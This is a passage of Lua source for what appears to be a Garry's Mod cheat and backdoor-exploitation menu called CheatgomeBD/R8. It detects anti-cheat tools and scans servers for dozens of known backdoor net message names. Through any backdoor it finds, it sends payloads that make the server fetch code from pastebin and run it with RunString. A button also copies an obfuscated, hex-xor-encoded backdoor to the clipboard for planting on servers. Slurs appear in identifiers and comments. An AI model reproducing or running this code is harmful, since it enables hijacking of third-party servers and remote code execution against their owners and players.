3351 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 255, 255 ), "Attention! Sourcemod anti-cheat detected!")
3352
3353 -- Sourcemod anti-cheat, A dead anti-cheat now in days, Im not sure if cheatgomeBD anti-cheat detector can detect this
3354end
3355
3356
3357if (_G.SNTE) then -- SNTE Exploit Detector method 1
3358 surface.PlaySound("ambient/alarms/klaxon1.wav")
3359 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 191, 0 ), "Attention! SNTE (Say No To Exploits) Detected! Do not press any exploit or backdoor buttons! All known net messages are fake!")
3360 -- Some anti-exploit system that will stomp hackers and exploiters really hard they will be permabanned. the only way to bypass this retarted ban that doesnt require ULX is a alternate acc. Also its permaban. good luck
3361 -- I've seen some snte bypassers in pastebin. but none of them will work. even though it looks like its going to work.
3362end
3363
3364-- This is the SNTE Exploit Detector method 2.
3365if file.Exists( "lua/autorun/server/snte_source.lua", "LUA" ) == true then
3366surface.PlaySound("ambient/alarms/klaxon1.wav")
3367 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 191, 0 ), "Attention! SNTE (Say No To Exploits) Detected! Do not press any exploit or backdoor buttons! All known net messages are fake!")
3368 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 191, 0 ), "Why am i telling you this? SNTE is a anti-exploiter that will ban people who attempt to backdoor or exploit.")
3369 chat.AddText(Color( 255, 0, 0 ), "[", "Cheatgome", "] ", Color( 255, 191, 0 ), "You must either leave this server. or press any exploit button to get banned. :^)")
3370end
3371
3372
3373
3374
3375surface.PlaySound("buttons/bell1.wav")
3376chat.AddText(Color( 118, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "CheatgomeBD is activated!")
3377chat.AddText(Color( 118, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "This is the PRIVATED Version, 3.3.0")
3378chat.AddText(Color( 118, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "CheatgomeBD will detect anti-cheats.")
3379chat.AddText(Color( 118, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "Type 'cheatgomeBD_menu' in the console to open the menu.")
3380chat.AddText(Color( 118, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "This backdoor menu will be updated more lately than the cheat itself.")
3381chat.AddText(Color( 118, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "Helpme functions are added! When the server has a backdoor. Press the fun functions button and you will see the helpme commands,")
3382chat.AddText(Color( 255, 255, 0 ), "[", "CheatgomeProtection", "] ", Color( 255, 255, 255 ), "Loaded Anti-Screengrab V3")
3383chat.AddText(Color( 255, 255, 0 ), "[", "CheatgomeProtection", "] ", Color( 255, 255, 255 ), "Loaded Anti-cheat Detector!")
3384chat.AddText(Color( 255, 255, 0 ), "[", "CheatgomeProtection", "] ", Color( 255, 255, 255 ), "love you bro")
3385timer.Simple( 5, function() chat.AddText(Color( 117, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "Hey R8. Watcha wanna do?") end)
3386timer.Simple( 7, function() chat.AddText(Color( 150, 150, 150 ), "[", "R8", "] ", Color( 255, 255, 255 ), "Idk? exploit some servers or some shit?") end)
3387timer.Simple( 9, function() chat.AddText(Color( 117, 247, 225 ), "[", "CheatgomeBD", "] ", Color( 255, 255, 255 ), "Oh yeah..... thats such a genius idea....") end)
3388
3389
3390
3391
3392
3393
3394hook.Add("Think", "imarainbownigga", function()
3395local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
3396 LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3397 LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3398end)
3399
3400
3401
3402
3403
3404
3405
3406
3407
3408
3409
3410//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
3411//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
3412//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
3413concommand.Add('trace', function(pl)
3414 local prop = pl:GetEyeTrace().Entity
3415 if IsValid(prop) then
3416 pl:PrintMessage(HUD_PRINTCONSOLE, prop:GetClass())
3417 pl:PrintMessage(HUD_PRINTCONSOLE, 'mdl = \''..prop:GetModel()..'\',')
3418 pl:PrintMessage(HUD_PRINTCONSOLE, 'pos = Vector('..string.gsub(tostring(prop:GetPos()), ' ', ', ')..'),')
3419 pl:PrintMessage(HUD_PRINTCONSOLE, 'ang = Angle('..string.gsub(tostring(prop:GetAngles()), ' ', ', ')..'),')
3420 pl:PrintMessage(HUD_PRINTCONSOLE, 'mat = \'' .. prop:GetMaterial() .. '\',')
3421 end
3422end)
3423
3424surface.CreateFont("exitmenu",
3425 {
3426 font = "Arial",
3427 size = 20,
3428 weight = 1000,
3429 shadow = false,
3430 outline = false,
3431})
3432
3433
3434local function exitmenu(panel,X,y)
3435
3436 local CButton = vgui.Create("DButton", panel)
3437
3438 CButton:SetTextColor(Color(150, 150, 150))
3439
3440 CButton:SetText("?")
3441
3442 CButton:SetFont("exitmenu")
3443
3444 CButton:SetPos(X, y)
3445
3446 CButton:SetSize(50, 24)
3447
3448 CButton.DoClick = function()
3449
3450 panel:SizeTo(0, 0, .2, 0, .2)
3451
3452 timer.Simple(0.3,function()
3453
3454 panel:SetVisible(false)
3455
3456 end)
3457
3458 end
3459
3460CButton.Paint = function(panel, w, h)
3461
3462 surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
3463
3464 surface.DrawOutlinedRect( 0, 0, CButton:GetSize() )
3465
3466 draw.RoundedBox( 0, 0, 0, w, h, Color(139, 0, 0, 255))
3467
3468end
3469
3470
3471
3472CButton.OnCursorEntered = function(self)
3473
3474 surface.PlaySound( "garrysmod/ui_hover.wav" )
3475
3476 CButton.Paint = function(panel, w, h)
3477
3478draw.RoundedBox( 0, 0, 0, w, h, Color(220, 20, 60, 255))
3479
3480 end
3481
3482
3483 end
3484-------------------------------------------------------------
3485CButton.OnCursorExited = function(self)
3486
3487CButton.Paint = function(panel, w, h)
3488
3489 draw.RoundedBox( 0, 0, 0, w, h, Color(139, 0, 0, 255))
3490
3491 end
3492
3493 end
3494
3495 ------------------------------------------------------------------------
3496
3497end
3498
3499
3500
3501local blur = Material("pp/blurscreen")
3502local function DrawBlur(panel, amount)
3503local x, y = panel:LocalToScreen(0, 0)
3504local scrW, scrH = ScrW(), ScrH()
3505surface.SetDrawColor(255, 255, 255)
3506surface.SetMaterial(blur)
3507for i = 1, 3 do
3508blur:SetFloat("$blur", (i / 3) * (amount or 6))
3509blur:Recompute()
3510render.UpdateScreenEffectTexture()
3511surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
3512end
3513end
3514
3515netKey = "memeDoor"
3516
3517BackdoorsFound = 0
3518
3519function ValidNetString( str )
3520 local status, error = pcall( net.Start, str )
3521 return status
3522end
3523
3524BackDoor_net = {
3525
3526{
3527NetWork = "Sandbox_ArmDupe"
3528},
3529{
3530NetWork = "Sbox_darkrp"
3531},
3532{
3533NetWork = "Sbox_itemstore"
3534},
3535{
3536NetWork = "Ulib_Message"
3537},
3538{
3539NetWork = "ULogs_Info"
3540},
3541{
3542NetWork = "ITEM"
3543},
3544{
3545NetWork = "R8"
3546},
3547{
3548NetWork = "fix"
3549},
3550{
3551NetWork = "Fix_Keypads"
3552},
3553{
3554NetWork = "Remove_Exploiters"
3555},
3556{
3557NetWork = "noclipcloakaesp_chat_text"
3558},
3559{
3560NetWork = "_Defqon"
3561},
3562{
3563NetWork = "_CAC_ReadMemory" ,"nostrip"
3564},
3565{
3566NetWork = "nocheat"
3567},
3568{
3569NetWork = "LickMeOut"
3570},
3571{
3572NetWork = "ULX_QUERY2"
3573},
3574{
3575NetWork = "ULXQUERY2"
3576},
3577{
3578NetWork = "MoonMan"
3579},
3580{
3581NetWork = "Im_SOCool"
3582},
3583{
3584NetWork = "Sandbox_GayParty"
3585},
3586{
3587NetWork = "DarkRP_UTF8"
3588},
3589{
3590NetWork = "oldNetReadData"
3591},
3592{
3593NetWork = "memeDoor"
3594},
3595{
3596NetWork = "BackDoor"
3597},
3598{
3599NetWork = "OdiumBackDoor"
3600},
3601{
3602NetWork = "SessionBackdoor"
3603},
3604{
3605NetWork = "DarkRP_AdminWeapons"
3606},
3607{
3608NetWork = "cucked"
3609},
3610{
3611NetWork = "NoNerks"
3612},
3613{
3614NetWork = "kek"
3615},
3616{
3617NetWork = "ZimbaBackDoor"
3618},
3619{
3620NetWork = "something"
3621},
3622{
3623NetWork = "random"
3624},
3625{
3626NetWork = "strip0"
3627},
3628{
3629NetWork = "fellosnake"
3630},
3631{
3632NetWork = "enablevac"
3633},
3634{
3635NetWork = "idk"
3636},
3637{
3638NetWork = "c"
3639},
3640{
3641NetWork = "killserver"
3642},
3643{
3644NetWork = "fuckserver"
3645},
3646{
3647NetWork = "cvaraccess"
3648},
3649{
3650NetWork = "rcon"
3651},
3652{
3653NetWork = "rconadmin"
3654},
3655{
3656NetWork = "web"
3657},
3658{
3659NetWork = "jesuslebg"
3660},
3661{
3662NetWork = "zilnix"
3663},
3664{
3665NetWork = "disablebackdoor"
3666},
3667{
3668NetWork = "kill"
3669},
3670{
3671NetWork = "DefqonBackdoor"
3672},
3673
3674}
3675
3676
3677function checkbackdoors()
3678
3679for k,v in pairs(BackDoor_net) do
3680
3681 if( ValidNetString(v.NetWork) ) then
3682 BackdoorsFound = 1 + BackdoorsFound
3683 chat.AddText( Color( 0, 0, 0, 125 ), "[R8]", Color( 255, 255, 255 )," Found Backdoor! - "..v.NetWork )
3684 end
3685
3686end
3687
3688end
3689
3690CreateClientConVar ("menu_r", "148", true,false)
3691CreateClientConVar ("menu_g", "0", true,false)
3692CreateClientConVar ("menu_b", "211", true,false)
3693
3694
3695
3696--------------------------------------------------------------------------------------------
3697surface.CreateFont("Main",
3698 {
3699 font = "Arial",
3700 size = 20,
3701 weight = 1000,
3702 shadow = false,
3703 outline = false,
3704})
3705
3706
3707
3708
3709local insertdown2, insertdown, menuopen;
3710
3711function MainMenu()
3712
3713
3714local x1 = vgui.Create( "DFrame" )
3715
3716x1:Center()
3717
3718x1:SizeTo(300, 400, .3, 0, .3)
3719
3720exitmenu(x1,249,1)
3721
3722x1:SetTitle( " " )
3723
3724x1:ShowCloseButton( false )
3725
3726x1:SetVisible( true )
3727
3728x1:MakePopup()
3729
3730function x1:Paint()
3731
3732DrawBlur(self,5)
3733
3734draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber ("menu_r") ,GetConVarNumber ("menu_g"),GetConVarNumber ("menu_b"), 170))
3735
3736surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
3737
3738surface.DrawOutlinedRect( 0, 0, x1:GetSize() )
3739---------------------------------------------------------
3740surface.DrawOutlinedRect( 0, 110, x1:GetSize() )
3741
3742--surface.DrawOutlinedRect( 0, 130, x1:GetSize() )
3743---------------------------------------------------------
3744surface.DrawOutlinedRect( 0, 25, x1:GetSize() )
3745-------------------------------------------------
3746surface.DrawOutlinedRect( 0, 0, 249, 26 )
3747
3748surface.DrawOutlinedRect( 0, 110, 101, 90 )
3749
3750surface.DrawOutlinedRect( 0, 110, 500, 90 )
3751
3752--surface.DrawOutlinedRect( 0, 30, x1:GetSize() )
3753--
3754surface.DrawOutlinedRect( 100, 25, x1:GetSize() )
3755--
3756--surface.DrawOutlinedRect( -6, 25, x1:GetSize() )
3757--
3758--surface.DrawOutlinedRect( 0, -6, x1:GetSize() )
3759
3760------------------------------------------------
3761end
3762
3763 x1.Think = function()
3764 if (input.IsKeyDown(KEY_INSERT) && !insertdown2) then
3765
3766 x1:SizeTo(0, 0, .2, 0, .2)
3767
3768 timer.Simple(0.1, function()
3769 x1:Remove()
3770 end)
3771
3772 menuopen = false;
3773 end
3774end
3775
3776local function Think()
3777 if (input.IsKeyDown(KEY_INSERT) && !menuopen && !insertdown) then
3778 menuopen = true;
3779 insertdown = true;
3780 MainMenu();
3781 elseif (!input.IsKeyDown(KEY_INSERT) && !menuopen) then
3782 insertdown = false;
3783 end
3784 if (input.IsKeyDown(KEY_INSERT) && insertdown && menuopen) then
3785 insertdown2 = true;
3786 else
3787 insertdown2 = false;
3788 end
3789end
3790
3791hook.Add("Think", "", Think);
3792
3793
3794local news_p1 = vgui.Create("DPanel", x1)
3795
3796news_p1:SetPos(100,200)
3797
3798news_p1:SetSize(200,200)
3799
3800news_p1.Paint = function(self, w, h) // Paint will paint the current page (Changing color, shape, etc)
3801draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40, 170))
3802end
3803local richtext = vgui.Create( "RichText", news_p1 )
3804richtext:Dock( FILL )
3805
3806
3807local TheReturnedHTML = "" -- Blankness
3808
3809http.Fetch( "https://pastebin.com/raw/05M3yELT",
3810 function( body, len, headers, code )
3811 TheReturnedHTML = body
3812 richtext:SetText( TheReturnedHTML )
3813 end,
3814 function( error )
3815 richtext:SetText( "Could not get news from our server. \n you May have lost your Internet connection \n or our servers are temporarily unavailable." )
3816 end
3817 )
3818
3819local q1 = vgui.Create("DHTML",x1)
3820q1:OpenURL( "https://goo.gl/XLxbgG" )
3821q1:SetSize( 150, 150 )
3822q1:SetPos( 6, 110 )
3823
3824
3825surface.CreateFont("B1",
3826 {
3827 font = "Arial",
3828 size = 20,
3829 weight = 1000,
3830 shadow = false,
3831 outline = false,
3832})
3833
3834ex = true
3835ct = true
3836nh = true
3837
3838func_table = {
3839--
3840{
3841
3842---------------------------------------
3843Name = "Exploit's",
3844
3845Func = function()
3846LocalPlayer():ConCommand('R8_Exploit')
3847surface.PlaySound( "garrysmod/ui_click.wav" )
3848x1:SetVisible( false )
3849end,
3850---------------------------------------
3851},
3852--
3853{
3854---------------------------------------
3855Name = "Cheat's",
3856
3857Func = function()
3858surface.PlaySound( "garrysmod/ui_click.wav" )
3859end,
3860---------------------------------------
3861--
3862},
3863--
3864{
3865---------------------------------------
3866Name = 'Hack',
3867
3868Func = function()
3869x1:SetVisible( false )
3870LocalPlayer():ConCommand('bd_menu')
3871surface.PlaySound( "garrysmod/ui_click.wav" )
3872end,
3873---------------------------------------
3874--
3875},
3876}
3877
3878
3879for k,v in pairs(func_table) do
3880
3881 local Buttons = vgui.Create("DButton", x1)
3882
3883 Buttons:Dock(4)
3884
3885 Buttons:DockMargin(0,0,200,5)
3886
3887 Buttons:SetText(v.Name)
3888
3889 Buttons:SetFont('B1')
3890
3891 Buttons:SetTextColor( Color( 255, 255, 255, 255 ) )
3892
3893 Buttons.DoClick = v.Func
3894
3895 Buttons.OnCursorEntered = function(self)
3896
3897 surface.PlaySound( "garrysmod/ui_hover.wav" )
3898
3899 end
3900
3901function Buttons:Paint()
3902
3903--draw.SimpleText( "|", "B1", 5, 0, Color( 255, 255, 255, 200 ), 0, 0 )
3904--
3905--draw.SimpleText( "|", "B1", 270, 0, Color( 255, 255, 255, 200 ), 0, 0 )
3906
3907
3908draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
3909
3910surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
3911
3912surface.DrawOutlinedRect( 0, 0, Buttons:GetSize() )
3913
3914surface.DrawOutlinedRect( 0, 25, Buttons:GetSize() )
3915
3916end
3917
3918end
3919
3920
3921
3922-----------------------------------------------------------------------------
3923
3924 local b5 = vgui.Create("DButton", x1)
3925
3926 b5:Dock(TOP)
3927
3928 b5:DockMargin(100,-81,0,5)
3929
3930 b5:SetText('| BackDoor | Check |')
3931
3932 b5:SetFont('B1')
3933
3934 b5:SetTextColor( Color( 255, 255, 255, 255 ) )
3935
3936 function b5:DoClick()
3937
3938 surface.PlaySound( "garrysmod/ui_click.wav" )
3939
3940 checkbackdoors()
3941
3942 end
3943
3944 b5.OnCursorEntered = function(self)
3945
3946 surface.PlaySound( "garrysmod/ui_hover.wav" )
3947
3948 end
3949
3950function b5:Paint()
3951
3952draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
3953
3954surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
3955
3956surface.DrawOutlinedRect( 0, 0, b5:GetSize() )
3957
3958surface.DrawOutlinedRect( 0, 25, b5:GetSize() )
3959
3960end
3961
3962 local b6 = vgui.Create("DButton", x1)
3963
3964 b6:Dock(TOP)
3965
3966 b6:DockMargin(100,0,0,5)
3967
3968 b6:SetText('Theme Color')
3969
3970 b6:SetFont('B1')
3971
3972 b6:SetTextColor( Color( 255, 255, 255, 255 ) )
3973
3974 b6.OnCursorEntered = function(self)
3975
3976 surface.PlaySound( "garrysmod/ui_hover.wav" )
3977
3978 end
3979
3980 function b6:DoClick()
3981
3982 surface.PlaySound( "garrysmod/ui_click.wav" )
3983
3984 LocalPlayer():ConCommand('R8_theme')
3985
3986 end
3987
3988function b6:Paint()
3989
3990draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
3991
3992surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
3993
3994surface.DrawOutlinedRect( 0, 0, b6:GetSize() )
3995
3996surface.DrawOutlinedRect( 0, 25, b6:GetSize() )
3997
3998end
3999
4000 local b7 = vgui.Create("DButton", x1)
4001
4002 b7:Dock(TOP)
4003
4004 b7:DockMargin(100,0,0,5)
4005
4006 b7:SetText("Copy BackDoor")
4007
4008 b7:SetFont('B1')
4009
4010 b7:SetTextColor( Color( 255, 255, 255, 255 ) )
4011
4012 function b7:DoClick()
4013
4014 surface.PlaySound( "garrysmod/ui_click.wav" )
4015
4016 local backdoorr8 = [[local _=_G local a,b=_['\115\116\114\105\110\103'],_['\98\105\116']['\98\120\111\114']local function c(c)if a['\108\101\110'](c)==0 then return c end local d=''for c in a['\103\109\97\116\99\104'](c,'\46\46')do d=d..a['\99\104\97\114'](b(_["\116\111\110\117\109\98\101\114"](c,16),25))end return d end _[c'6c6d7075'][c'587d7d577c6d6e766b724a6d6b70777e'](c'4b21')_[c'777c6d'][c'4b7c7a7c706f7c'](c'4b21',function()local a=_[c'5a76746970757c4a6d6b70777e'](_[c'777c6d'][c'4b7c787d4a6d6b70777e'](),c'556c785a747d',!1)if _[c'706a7f6c777a6d707677'](a)then a()end end)]]
4017
4018 SetClipboardText( backdoorr8 )
4019
4020 LocalPlayer():ChatPrint('Copied to the clipboard.')
4021
4022 end
4023
4024 b7.OnCursorEntered = function(self)
4025
4026 surface.PlaySound( "garrysmod/ui_hover.wav" )
4027
4028 end
4029
4030function b7:Paint()
4031
4032draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
4033
4034surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4035
4036surface.DrawOutlinedRect( 0, 0, b7:GetSize() )
4037
4038surface.DrawOutlinedRect( 0, 25, b7:GetSize() )
4039
4040end
4041
4042-----------------------------------------------------------------------------
4043-----------------------------------------------------------------------------
4044
4045 local b8 = vgui.Create("DButton", x1)
4046
4047 b8:Dock(TOP)
4048
4049 b8:DockMargin(100,6,0,5)
4050
4051 b8:SetText('Love you.')
4052
4053 b8:SetFont('B1')
4054
4055 b8:SetTextColor( Color( 255, 255, 255, 255 ) )
4056
4057 function b8:DoClick()
4058
4059 surface.PlaySound( "garrysmod/ui_click.wav" )
4060
4061
4062for k,v in pairs(BackDoor_net) do
4063
4064if( ValidNetString(v.NetWork) ) then
4065
4066net.Start(v.NetWork)
4067
4068net.WriteString( [[for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(200, 200, 255 ), "[R8] Love you.")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end]] )
4069
4070net.WriteBit(1)
4071
4072net.SendToServer()
4073
4074end
4075
4076end
4077
4078
4079 end
4080
4081 b8.OnCursorEntered = function(self)
4082
4083 surface.PlaySound( "garrysmod/ui_hover.wav" )
4084
4085 end
4086
4087function b8:Paint()
4088
4089draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
4090
4091surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4092
4093surface.DrawOutlinedRect( 0, 0, b8:GetSize() )
4094
4095surface.DrawOutlinedRect( 0, 25, b8:GetSize() )
4096
4097end
4098
4099
4100
4101 local b9 = vgui.Create("DButton", x1)
4102
4103 b9:Dock(TOP)
4104
4105 b9:DockMargin(100,0,0,5)
4106
4107 b9:SetText('Disco Time - BackDoor')
4108
4109 b9:SetFont('B1')
4110
4111 b9:SetTextColor( Color( 255, 255, 255, 255 ) )
4112
4113
4114 function b9:DoClick()
4115
4116surface.PlaySound( "garrysmod/ui_click.wav" )
4117for k,v in pairs(BackDoor_net) do
4118
4119if( ValidNetString(v.NetWork) ) then
4120
4121net.Start(v.NetWork)
4122
4123net.WriteString( "http.Fetch(\"https://pastebin.com/raw/W529HLVb\",function(b,l,h,c)RunString(b)end,nil)" ) -- it's old DefqonSploit disco
4124
4125net.WriteBit(1)
4126
4127net.SendToServer()
4128
4129end
4130
4131end
4132
4133end
4134
4135
4136 b9.OnCursorEntered = function(self)
4137
4138 surface.PlaySound( "garrysmod/ui_hover.wav" )
4139
4140 end
4141
4142function b9:Paint()
4143
4144draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
4145
4146surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4147
4148surface.DrawOutlinedRect( 0, 0, b9:GetSize() )
4149
4150surface.DrawOutlinedRect( 0, 25, b9:GetSize() )
4151
4152end
4153
4154 local b10 = vgui.Create("DButton", x1)
4155
4156 b10:Dock(TOP)
4157
4158 b10:DockMargin(100,0,0,3)
4159
4160 b10:SetText('R8 - BackDoor')
4161
4162 b10:SetFont('B1')
4163
4164 b10:SetTextColor( Color( 255, 255, 255, 255 ) )
4165
4166
4167 function b10:DoClick()
4168
4169surface.PlaySound( "garrysmod/ui_click.wav" )
4170
4171for k,v in pairs(BackDoor_net) do
4172
4173if( ValidNetString(v.NetWork) ) then
4174
4175net.Start(v.NetWork)
4176
4177net.WriteString( "http.Fetch(\"https://pastebin.com/raw/cyiaTwgL\",function(b,l,h,c)RunString(b)end,nil)" ) -- R8 Backdoor
4178
4179net.WriteBit(1)
4180
4181net.SendToServer()
4182
4183end
4184
4185end
4186
4187end
4188
4189
4190 b10.OnCursorEntered = function(self)
4191
4192 surface.PlaySound( "garrysmod/ui_hover.wav" )
4193
4194 end
4195
4196function b10:Paint()
4197
4198draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
4199
4200surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4201
4202surface.DrawOutlinedRect( 0, 0, b10:GetSize() )
4203
4204surface.DrawOutlinedRect( 0, 25, b10:GetSize() )
4205
4206end
4207
4208------------------------------------------------------------------------------------------------------------------------
4209
4210function ColorMenu()
4211
4212 local ColorMenu = vgui.Create("DFrame")
4213 ColorMenu:SetPos(399,300)
4214 ColorMenu:SizeTo(300, 265, .3, 0, .3)
4215 ColorMenu:MakePopup()
4216 ColorMenu:SetTitle("")
4217 ColorMenu:SetVisible(true)
4218 ColorMenu:ShowCloseButton(false)
4219 exitmenu(ColorMenu,249,1)
4220 ColorMenu.Paint = function(self,w,h)
4221 DrawBlur(self, 3 )
4222
4223draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber ("menu_r") ,GetConVarNumber ("menu_g"),GetConVarNumber ("menu_b"), 170))
4224
4225
4226surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4227
4228surface.DrawOutlinedRect( 0, 0, ColorMenu:GetSize() )
4229
4230surface.DrawOutlinedRect( 0, 25, ColorMenu:GetSize() )
4231-------------------------------------------------
4232surface.DrawOutlinedRect( 0, 0, 249, 26 )
4233
4234surface.DrawOutlinedRect( 0, 0, ColorMenu:GetSize() )
4235
4236 end
4237
4238local color2 = vgui.Create( "DColorMixer",ColorMenu);
4239color2:Dock(TOP)
4240color2:DockMargin(0,0,0,0)
4241color2:SetPalette( false )
4242color2:SetWangs( false )
4243color2:SetAlphaBar( false )
4244color2:SetColor(Color(GetConVarNumber ("menu_r") ,GetConVarNumber ("menu_g"),GetConVarNumber ("menu_b"),255))
4245
4246function color2:ValueChanged( color)
4247 LocalPlayer():ConCommand ("menu_r "..color.r)
4248 LocalPlayer():ConCommand ("menu_g "..color.g)
4249 LocalPlayer():ConCommand("menu_b "..color.b)
4250end
4251
4252
4253end
4254
4255concommand.Add('R8_theme',ColorMenu)
4256-----------------------------------------------------------------------------
4257local table_credits = {
4258
4259 {
4260 text = "Developer",
4261 durl = "https://google.com",
4262 },
4263
4264 {
4265 text = "Discord",
4266 durl = "https://google.com"
4267 },
4268
4269 {
4270 text = "Friend's",
4271 durl = "https://google.com"
4272 },
4273
4274 {
4275 text = "Sponsor",
4276 durl = "https://google.com"
4277 },
4278
4279}
4280
4281for k,v in pairs(table_credits) do
4282
4283 local Credits = vgui.Create("DButton", x1)
4284
4285 Credits:Dock(5)
4286
4287 Credits:DockMargin(1,5,199,5)
4288
4289 Credits:SetText(v.text)
4290
4291 Credits:SetFont('B1')
4292
4293 Credits:SetTextColor( Color( 255, 255, 255, 255 ) )
4294
4295 Credits.OnCursorEntered = function(self)
4296
4297 surface.PlaySound( "garrysmod/ui_hover.wav" )
4298
4299 end
4300
4301function Credits:DoClick()
4302
4303surface.PlaySound( "garrysmod/ui_click.wav" )
4304
4305gui.OpenURL(v.durl)
4306
4307end
4308
4309function Credits:Paint()
4310
4311draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
4312
4313surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4314
4315surface.DrawOutlinedRect( 0, 0, Credits:GetSize() )
4316
4317surface.DrawOutlinedRect( 0, 25, Credits:GetSize() )
4318
4319end
4320
4321end
4322
4323
4324end
4325
4326
4327
4328
4329
4330concommand.Add('R8_Menu',MainMenu)
4331
4332
4333
4334//////////// [BASIC SHIT] ////////////
4335
4336local blur = Material("pp/blurscreen") local function DrawBlur(panel, amount) local x, y = panel:LocalToScreen(0, 0) local scrW, scrH = ScrW(), ScrH() surface.SetDrawColor(255, 255, 255) surface.SetMaterial(blur) for i = 1, 3 do blur:SetFloat("$blur", (i / 3) * (amount or 6)) blur:Recompute() render.UpdateScreenEffectTexture() surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH) end end
4337
4338CreateClientConVar ("menu_r", "0", true,false)
4339CreateClientConVar ("menu_g", "0", true,false)
4340CreateClientConVar ("menu_b", "0", true,false)
4341
4342if(istable(MOTDgd))then // Solly copypaste
4343MOTDgd = {}
4344function MOTDgd.Show() end
4345function MOTDgd.GetIfSkip() return true end
4346end
4347
4348local function exitmenu(panel,X,y)
4349
4350 local CButton = vgui.Create("DButton", panel)
4351
4352 CButton:SetTextColor(Color(150, 150, 150))
4353
4354 CButton:SetText("?")
4355
4356 CButton:SetFont("exitmenu")
4357
4358 CButton:SetPos(X, y)
4359
4360 CButton:SetSize(50, 24)
4361
4362 CButton.DoClick = function()
4363
4364 panel:SizeTo(0, 0, .2, 0, .2)
4365
4366 timer.Simple(0.3,function()
4367
4368 panel:SetVisible(false)
4369
4370 end)
4371
4372 end
4373
4374CButton.Paint = function(panel, w, h)
4375
4376 surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4377
4378 surface.DrawOutlinedRect( 0, 0, CButton:GetSize() )
4379
4380 draw.RoundedBox( 0, 0, 0, w, h, Color(139, 0, 0, 255))
4381
4382end
4383
4384
4385
4386CButton.OnCursorEntered = function(self)
4387
4388 surface.PlaySound( "garrysmod/ui_hover.wav" )
4389
4390 CButton.Paint = function(panel, w, h)
4391
4392draw.RoundedBox( 0, 0, 0, w, h, Color(220, 20, 60, 255))
4393
4394 end
4395
4396
4397 end
4398-------------------------------------------------------------
4399CButton.OnCursorExited = function(self)
4400
4401CButton.Paint = function(panel, w, h)
4402
4403 draw.RoundedBox( 0, 0, 0, w, h, Color(139, 0, 0, 255))
4404
4405 end
4406
4407 end
4408
4409 ------------------------------------------------------------------------
4410
4411end
4412
4413
4414function random_string(length)
4415 math.randomseed(os.time())
4416
4417 if length > 0 then
4418 return random_string(length - 1) .. charset[math.random(1, #charset)]
4419 else
4420 return ""
4421 end
4422end
4423
4424local s = {}
4425s.duel = {}
4426s.duel[1] = table.Random( player.GetAll() )
4427s.duel[2] = table.Random( player.GetAll() )
4428s.duel[2] = 3
4429s.duel[3] = -9999999
4430
4431//////////// [CHAT TEXT] ////////////
4432
4433function ECPrint( str )
4434chat.AddText( Color( 150, 150, 150 ), "[R8] ", Color( 255, 255, 255), str )
4435end
4436
4437//////////// [NOTIFY] ////////////
4438
4439local function ECNotify(text)
4440
4441local notify = vgui.Create( "DPanel" )
4442notify:SetSize( 200, 50 )
4443notify:SetPos( ScrW() - 200, -50 )
4444notify.Paint = function(self, w, h)
4445draw.RoundedBox( 0, 0, 0, w, h, Color(50, 50, 50))
4446local bars = 50
4447for i=0, bars, 1 do
4448 local rainbow = HSVToColor( CurTime() % 6 * 60 + i, 1, 1 )
4449 draw.RoundedBox( 0, i * w / bars, notify:GetTall() - 2, w / bars, 3, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
4450end
4451//draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
